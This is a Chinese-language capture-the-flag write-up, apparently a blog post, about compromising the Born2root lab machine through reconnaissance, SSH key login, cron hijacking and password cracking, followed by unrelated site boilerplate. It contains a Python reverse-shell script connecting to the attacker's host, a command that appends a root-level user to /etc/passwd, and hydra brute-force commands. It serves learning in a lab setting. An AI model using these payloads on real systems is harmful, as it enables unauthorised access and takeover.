实战打靶集锦-003-Born2root

**写在前面:**记录一次不完美的打靶经历。

1. 主机发现

目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.56.0/24

在这里插入图片描述
从上面输出来看,目标靶机的IP地址应该是192.168.56.106,因为kali主机的IP是192.168.56.107。

2. 端口扫描

通过如下命令进行全端口扫描。

$ sudo nmap -p- 192.168.56.106

在这里插入图片描述
上面列出了目标靶机上开放的端口。

3. 服务枚举

通过下面的命令,我们初步枚举一下上面开放的端口上的服务。

$ sudo nmap -p22,80,111,43993 -sV 192.168.56.106

在这里插入图片描述

4. 服务探查

我们先探查80端口上的web服务,然后再探查111和43993端口,最后探查22端口上的ssh服务,因为22端口上的ssh存在漏洞的概率相对小一些。

4.1 WEB服务探查

4.1.1 浏览器访问

先手工通过浏览器访问一下靶机的80端口,看看有什么收货。
在这里插入图片描述
从上图可以看出,这是一个简单的不能再简单的公司黄页,描述了公司的大概大概情况,主要业务,以及联系方式等。对我们来说,需要关注的信息有几项:公司名称-Secretsec,域名-secretsec.com,有三位员工-Martin/Hadi/Jimmy,其中Martin是主页上留的联系人,可能也是系统管理员。

4.1.2 目录枚举

通过下面的命令,用dirsearch进行一下web服务的目录枚举。

$ dirsearch -u http://192.168.56.106

在这里插入图片描述
从上面可以看出,除了站点地图robots.txt、主页index.html以及files目录之外,其它的如server-status等都是没有权限访问的(返回403)。接下来我们手工访问一下可以访问的几项内容。

4.1.2.1 files目录

先看files目录,空空如也。
在这里插入图片描述

4.1.2.2 icons目录

我们再看看icons下面,发现内容比较多,有txt文件,有html文件,有图片文件等等,逐个看一下。
在这里插入图片描述
从readme的文件中可以看出来,这个icons目录应该是服务自带的,所以可能不会有太多有价值的内容。
在这里插入图片描述
再来看看readme.html的内容。
在这里插入图片描述
没有什么有价值的信息在里面,我们继续看看VDSoyuAXiO.txt文件。
在这里插入图片描述
额,貌似是个私钥,先记下来,一会儿看看能不能用上。

4.1.2.2 manual目录

接下来我们看看manual目录,貌似是Apache的用户文档目录,没有实际意义。
在这里插入图片描述

4.1.3 公共EXP搜索

到目前为止没有发现太多有价值的内容,先搜索一下这个apache 2.4.10版本上有没有已知漏洞。
在这里插入图片描述
如上图所示,貌似除了一个基于HTTP的options方法的内存泄露(CVE-2017-9798),其它的都不太合适,先记下来放在一边。

4.2 rpcbind服务探查

4.2.1 搜素公共EXP

直接搜索一下公共EXP试试看。

$ searchsploit rpcbind 2

在这里插入图片描述
从上面来看,没有可利用的已知漏洞。

5. 主机画像

通过下面的命令,进行主机画像。

$ sudo nmap -O 192.168.56.106

在这里插入图片描述
参考意义不大。

6. 密钥登录

到目前为止,一点线索都没有,记得前面在80端口的web服务的VDSoyuAXiO.txt文件中发现了一个密钥,直接用这个密钥,用页面显示的martin用户尝试登录目标靶机试试看。
将VDSoyuAXiO.txt文件中的内容放入一个名为id_rsa的文件中(个人理解应该名字随意),如下图。
在这里插入图片描述
尝试用这个密钥进行登录。

$ ssh -i id_rsa martin@192.168.56.106

在这里插入图片描述
貌似不行,还是需要password,百度一下这个“no mutual signature supported”是啥意思。貌似是说SHA-1算法不安全,openssh默认已经弃用,可以通过“-o PubkeyAcceptedKeyTypes=+ssh-rsa”参数临时使用,下面试试看。

$ ssh -i id_rsa martin@192.168.56.106 -o PubkeyAcceptedKeyTypes=+ssh-rsa

在这里插入图片描述
secret password我随便输入了一个martin,貌似登录成功了;之后又尝试了一下,这里secret password可以留空,直接回车,也是ok的。
在这里插入图片描述
在这里插入图片描述
有点不可思议,就这么轻而易举突破边界了?

7. 提权

既然突破边界了,接下来就是提权了。

7.1 /etc/passwd文件探查

在这里插入图片描述
最底下三行,web主页上的三个用户赫然在列。
下面尝试向passwd文件中写入一个新的用户,除了用户名密码,其它内容都跟root用户完全一致。
在这里插入图片描述

martin@debian:~$ echo "testuser:$1$ZVo6x6DW$Uq5uXYRVS48LZ5R/vVku2/:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
失败了,接下来看看操作系统的详细信息吧。

7.2 枚举操作系统信息

通过下面的命令枚举一下操作系统信息,看看能不能从特定版本的漏洞进行提权吧。

martin@debian:~$ cat /etc/*-release

在这里插入图片描述
查看/etc/issue。
在这里插入图片描述
在通过uname -a查看一下试试。
在这里插入图片描述
查看一下系统是32位还是64位。

martin@debian:~$ getconf LONG_BIT

在这里插入图片描述
是32位的。

7.3 枚举未挂载的磁盘

martin@debian:~$ cat /etc/fstab

在这里插入图片描述
没有特别的收获。

7.4 搜索可执行文件

用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。

martin@debian:~$ find / -type f -user root -perm -o=w 2>/dev/null

没有实际可用的结果,然后搜索一下带有SUID标记的二进制文件。

martin@debian:~$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

7.5 查看命令历史文件

查看一下martin的home目录下面有没有记录历史信息的临时文件。
在这里插入图片描述
还真有,进去看看再说。
在这里插入图片描述
有个login的python脚本,进去看看有没有收获。
在这里插入图片描述
没有实际内容,这就是我们通过martin用户登录时,提示输入密码等内容的那个脚本。接下来的.bash_logout、.bashrc、.profile中都没有我们感兴趣的内容。只剩下.ssh目录了,进去看看再说。
在这里插入图片描述
有点意思,又是一个密钥,进去看看内容。
在这里插入图片描述
感觉像是用root登录的密钥嘛,试试看能不能登录。

$ ssh -i root_key root@192.168.56.106 -o PubkeyAcceptedKeyTypes=+ssh-rsa

在这里插入图片描述
看来我想的太简单了。

7.6 枚举定时任务

martin@debian:~$ ls -lah /etc/cron*

在这里插入图片描述
直接看看/etc/crontab下面有些什么内容。

martin@debian:~$ cat /etc/crontab

在这里插入图片描述
看最底下一行,有个sekurity.py脚本,每5分钟执行一次。我们先尝试看看这个脚本里面都是些什么代码。
在这里插入图片描述
嗯,木有这个文件。这很符合靶机的尿性啊,哈哈。我们在/tmp下创建一个同名的python脚本,用于构建反弹shell的话,我们是不是可以以jimmy用户反弹回来呢?说不定在jimmy用户下深挖一下能够曲线救国。

7.6.1 构建sekurity.py

借用网上大神的代码(https://blog.csdn.net/weixin_43803070/article/details/94760376),具体内容如下。
在这里插入图片描述

#!/usr/bin python
import os, subprocess, socket

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.107",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

说明:os.dup2()方法用于将一个文件描述符复制到另一个,s.fileno()用来取得文件描述符。
然后在kali主机上建立监听。
在这里插入图片描述
等待大概5分钟不到的样子,反弹shell建立成功,当前已经进入jimmy用户的home目录。
在这里插入图片描述

7.7 探查jimmy用户

前面尝试提权的时候枚举的信息不少了,下面直接看看jimmy用户的历史记录信息。
在这里插入图片描述
下面分别看看这几个文件里面都有些啥。
在这里插入图片描述
在这里插入图片描述
貌似没有太多有用的内容。
还有一个正常的文件networker,进去看看是些啥。
在这里插入图片描述
乱码,也不是什么有价值的内容。到目前为止,虽然突破了边界,但是一直没有提权成功。

7.8 爆破hadi

仔细回想一下,我们之前在web主页上总共发现了三个用户,在/etc/passwd文件里面也是这三个用户,martin和jimmy我们都试过了,一无所获,只剩hadi了,爆破一下看看吧。

7.8.1 构建密码字典

到目前为止,我们知道要爆破的目标用户为hadi,公司名称是secretsec,邮箱是xxx@secretsec.com。
接下来我们将使用hadi和secretsec构建我们的原始字典,即用来创建密码字典的原始内容。这比直接使用rockyou字典命中率应该更高。
在这里插入图片描述
然后将使用开膛手约翰构建我们的密码字典。

7.8.2 配置john.conf

在/etc/john/john.conf文件中,修改密码生成规则,我们先生成简单的两个密码文件,一个是单词hadi(或secretsec)后面跟两个数字,另一个是hadi(或secretsec)后面跟3个数字,如果不行的话我们再想别的规则,比如引入@或者#等等。
在文件的“# Try the second half of split passwords”下面添加下图所示的内容(这是生成两个数字的情况)。

$ sudo vi /etc/john/john.conf

在这里插入图片描述

7.8.3 生成密码字典

修改完成后,通过下面的命令生成我们的密码字典。

$ john --wordlist=origin_word --rules --stdout > pwd_2.txt

文件内容如下所示。
在这里插入图片描述
用同样的方法生成带有3个数字后缀的密码字典。

$ john --wordlist=origin_word --rules --stdout > pwd_3.txt

在这里插入图片描述

7.8.4 实施爆破

这里,我们将使用kali自带的hydra工具和前面生成的两个密码字典对hadi用户进行爆破。

$ hydra -l hadi -P pwd_2.txt -t 2 -vV -e ns 192.168.56.106 ssh

在这里插入图片描述
用后缀2位数的密码,宣布爆破失败,接下来试试三位数后缀的密码试试看。

$ hydra -l hadi -P pwd_3.txt -vV -e ns 192.168.56.106 ssh

在这里插入图片描述
瞬间爆出来了,密码是hadi123(注意,我这次没有用-t 2参数,感觉这样更快)。

7.9 再次提权

先用hadi用户登录进去。

$ ssh hadi@192.168.56.106

在这里插入图片描述
然而,切换到root用户的时候,还是需要输入密码。
在这里插入图片描述
黔驴技穷了。
说明:其实这里的密码也是hadi123,用这个密码可以成功提权获取flag。
在这里插入图片描述

7.10 通过内核漏洞提权

前面枚举操作系统信息的时候,得到靶机的内核版本是3.16.0-4-586,并且debian版本是8,我们直接搜素一下公共EXP看看,是否可以找到对应的内核提权漏洞。
在这里插入图片描述
貌似有戏,唯一的区别是我们靶机是32位,把EXP代码下载到当前目录。

$ searchsploit -m 44302

在这里插入图片描述
说明:这个漏洞代码只是揭示了漏洞利用的原理,并没有真正实现提权,本人能力有限,暂时还未实现提权

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值